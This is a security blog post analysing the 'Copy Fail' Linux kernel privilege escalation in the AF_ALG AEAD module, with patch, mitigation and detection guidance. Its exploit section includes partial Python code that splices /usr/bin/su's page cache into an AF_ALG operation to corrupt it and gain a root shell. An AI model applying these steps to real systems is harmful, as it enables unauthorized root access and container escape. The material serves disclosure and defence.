Skip to content
Back to the Lab
Security

Copy Fail CVE-2026-31431 Linux Kernel LPE Analysis and Patch Guide

CVE-2026-31431 (Copy Fail) is a Linux kernel local privilege escalation flaw (CVSS 7.8) present since 2017. Learn the root cause, how the 732-byte exploit works and how to patch Ubuntu, RHEL and Amazon Linux before the May 15 CISA deadline.

Copy Fail CVE-2026-31431 Linux Kernel LPE Analysis and Patch Guide

Overview#

On April 29, 2026, security researchers at Theori and Xint publicly disclosed CVE-2026-31431, a local privilege escalation vulnerability in the Linux kernel nicknamed Copy Fail. The bug has existed in every mainstream Linux kernel since 2017 and allows any unprivileged local user to gain root access using a deterministic 732-byte Python script. No race conditions, no special hardware and no kernel symbols required.

CISA added CVE-2026-31431 to its Known Exploited Vulnerabilities catalog on May 1, 2026 and set a federal remediation deadline of May 15, 2026. A public C port of the original Python PoC appeared on GitHub within 48 hours of disclosure, further lowering the barrier to exploitation.

If your environment also runs Windows systems, see our analysis of BlueHammer CVE-2026-33825, a similarly impactful local privilege escalation in Windows Defender patched the same month.

Quick Facts#

CVE ID: CVE-2026-31431

Alias: Copy Fail

Discovered by: Theori / Xint

CVSS v3.1 Score: 7.8 (High)

CVSS Vector: AV/AC/PR/UI/S/C/I/A

Affected component: Linux kernel algif_aead module (AF_ALG)

Bug introduced: 2017 (9-year-old vulnerability)

Disclosed: April 29, 2026

Patched kernel versions: 6.18.22, 6.19.12, 7.0

CISA KEV Added: May 1, 2026

CISA KEV Deadline: May 15, 2026

Exploit availability: Public 732-byte Python PoC and C port on GitHub

Container escape: Yes, via shared kernel page cache

Affected Distributions#

Every Linux distribution shipping a kernel built since 2017 is affected unless a patched kernel has been applied. Confirmed affected versions with working public exploits include:

Ubuntu 24.04 LTS and earlier

Red Hat Enterprise Linux 10.1 and earlier

Amazon Linux 2023

SUSE Linux Enterprise 16 and earlier

Debian (all active releases)

Fedora (pre-patch releases)

AlmaLinux and Rocky Linux (pre-patch releases)

Arch Linux (pre-patch kernel)

Ubuntu 26.04 (Resolute) and later ship an unaffected kernel. All other Ubuntu releases require a kernel update.

Root Cause#

The bug lives in the authencesn(hmac(sha256),cbc(aes)) cryptographic template inside the kernel’s algif_aead module, which implements the AEAD interface of the AF_ALG userspace crypto API.

In 2017, the kernel introduced an in-place optimization where the AEAD operation reuses the source memory as the destination to avoid an extra allocation during encryption. This optimization works correctly for normal operation but introduces a subtle flaw when the splice() system call is used to supply page cache pages as the input buffer.

During an authencesn encryption pass the algorithm writes a 4-byte Extended Sequence Number field (the seqno_lo value from the AAD) into the output scatterlist as scratch space. Because of the in-place optimization the output scatterlist is the same as the input scatterlist. When the input was supplied via splice() that scatterlist points directly into the kernel’s page cache for the source file. The 4-byte scratch write therefore lands inside the cached copy of an arbitrary readable file in kernel memory bypassing all file permission checks entirely.

Exploit Mechanism#

The public PoC exploits the flaw in four steps to gain a root shell.

Step 1. Open an AF_ALG AEAD socket#

The attacker creates an AF_ALG socket bound to the vulnerable algorithm:

import os, socket, struct, zlib

sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
sock.bind({
    "type": "aead",
    "name": "authencesn(hmac(sha256),cbc(aes))",
    "feat": 0,
    "mask": 0
})
sock.setsockopt(socket.SOL_ALG, socket.ALG_SET_KEY, key)
sock.setsockopt(socket.SOL_ALG, socket.ALG_SET_AEAD_AUTHSIZE, None, 32)
op_sock, _ = sock.accept()

Step 2. Splice a privileged binary into the operation buffer#

The attacker opens /usr/bin/su for reading and splices its pages into a pipe then into the AF_ALG operation buffer. This causes the operation’s scatterlist to point directly at the page cache pages of /usr/bin/su:

fd_su = os.open("/usr/bin/su", os.O_RDONLY)
pipe_r, pipe_w = os.pipe()
os.splice(fd_su, None, pipe_w, None, PAGE_SIZE)
op_sock.sendmsg([b"\x00" * assoclen], [
    (socket.SOL_ALG, socket.ALG_SET_OP, struct.pack("I", socket.ALG_OP_ENC))
], 0, (pipe_r, PAGE_SIZE))

Step 3. Trigger the 4-byte page cache write#

Calling recvmsg() on the operation socket causes the kernel to execute the authencesn encryption. The algorithm writes the 4-byte ESN scratch value at offset assoclen + cryptlen in the output scatterlist. Because the output scatterlist resolves to the page cache of /usr/bin/su the write patches the ELF binary’s in-memory representation without touching the on-disk file and without triggering any permission check.

Step 4. Execute the corrupted binary for a root shell#

The attacker crafts the 4-byte payload to overwrite a specific offset in the su binary’s cached text segment, replacing a setuid check with a NOP equivalent. Calling /usr/bin/su now spawns a root shell without requiring a password:

import subprocess
result = subprocess.run(["/usr/bin/su", "-c", "id"], capture_output=True, text=True)
print(result.stdout)
# uid=0(root) gid=0(root) groups=0(root)

The exploit from invocation to root shell takes under one second. It leaves no on-disk artifacts because only the page cache is modified. A system reboot restores the original binary from disk.

Container and Cloud Impact#

Because the Linux page cache is shared between the host kernel and all containers running on it a process inside a Docker, LXC or Kubernetes pod that has access to the AF_ALG subsystem can corrupt the host’s page cache of a privileged binary. This turns CVE-2026-31431 into a container escape primitive on any node where algif_aead is loaded and container workloads are not restricted from creating AF_ALG sockets.

By default the algif_aead module is loaded on startup when present and Docker does not drop AF_ALG socket creation from the default seccomp profile in versions prior to 27.1. Cloud environments running multi-tenant Kubernetes nodes are particularly exposed.

How to Check Your Kernel Version#

uname -r

Compare the output against the patched versions below. If your kernel predates the fix for your distribution the system is vulnerable.

How to Patch#

Ubuntu and Debian#

sudo apt update
sudo apt full-upgrade
sudo reboot

Ubuntu’s unattended-upgrades service applies security kernel updates automatically within 24 hours for supported LTS versions. Verify the new kernel version after reboot with uname -r.

RHEL, AlmaLinux and Rocky Linux#

sudo dnf check-update kernel
sudo dnf update kernel
sudo reboot

AlmaLinux published patched kernels on May 1, 2026. The modprobe-based workaround does not work on RHEL-family systems because algif_aead is compiled directly into the kernel.

Amazon Linux 2023#

sudo yum update kernel
sudo reboot

SUSE Linux Enterprise#

sudo zypper refresh
sudo zypper update kernel-default
sudo reboot

Arch Linux#

sudo pacman -Syu linux linux-headers
sudo reboot

Temporary Mitigation if You Cannot Patch Immediately#

For Debian and Ubuntu systems where algif_aead is a loadable module:

echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif-aead.conf
sudo rmmod algif_aead 2>/dev/null || true

For RHEL-family systems the module is built into the kernel so rmmod will not work. Use grubby to blacklist the algif_aead initcall and reboot:

sudo grubby --update-kernel=ALL \
  --args="initcall_blacklist=algif_aead_init"
sudo reboot

Verify the mitigation is active after reboot:

cat /proc/crypto | grep "algif_aead"
# Should return no output if mitigation is effective

These mitigations disable AEAD userspace crypto operations. Applications relying on AF_ALG AEAD such as some VPN clients and custom crypto libraries may stop working until a patched kernel is installed.

Detection#

Audit AF_ALG socket creation#

auditctl -a always,exit -F arch=b64 -S socket \
  -F a0=38 -F a1=5 -k alg_aead_socket

AF_ALG is socket family 38. Legitimate use of AF_ALG AEAD from non-root processes is rare outside of specific VPN and crypto applications. Alert on any unexpected process invoking it.

Monitor for rootless su invocations#

Look for /usr/bin/su invocations where the parent process UID is non-zero but the resulting child UID is zero without a corresponding PAM authentication event in /var/log/auth.log. This pattern indicates the page cache has been corrupted and su is granting root without a valid password.

Timeline#

2017 - In-place AEAD optimization introduced into Linux kernel (commit 72548b093ee3), bug silently introduced

April 1, 2026 - Mainline kernel fix committed (commit a664bf3d603d)

April 29, 2026 - Public disclosure by Theori and Xint with 732-byte Python PoC

April 30, 2026 - C port of exploit published on GitHub. In-the-wild exploitation begins

May 1, 2026 - CISA adds CVE-2026-31431 to KEV catalog. AlmaLinux ships patched kernel

May 1, 2026 - Microsoft publishes cloud impact analysis for Azure Linux workloads

May 15, 2026 - CISA deadline for all FCEB agencies to apply the patch

References#

NVD - CVE-2026-31431 Detail

CISA Known Exploited Vulnerabilities Catalog

Xint - Copy Fail: 732 Bytes to Root on Every Major Linux Distribution

Sysdig - Copy Fail Linux Kernel Flaw Analysis

Microsoft Security Blog - Copy Fail Cloud Impact Analysis

The Hacker News - CISA Adds CVE-2026-31431 to KEV

Ubuntu - Copy Fail Fixes Available

GitHub - copy-fail-c: C port of the Copy Fail PoC

CERT-EU - Security Advisory 2026-005

Bugcrowd - What We Know About Copy Fail

Authored by Jacob Strix, CEO and Security Researcher at Egnworks.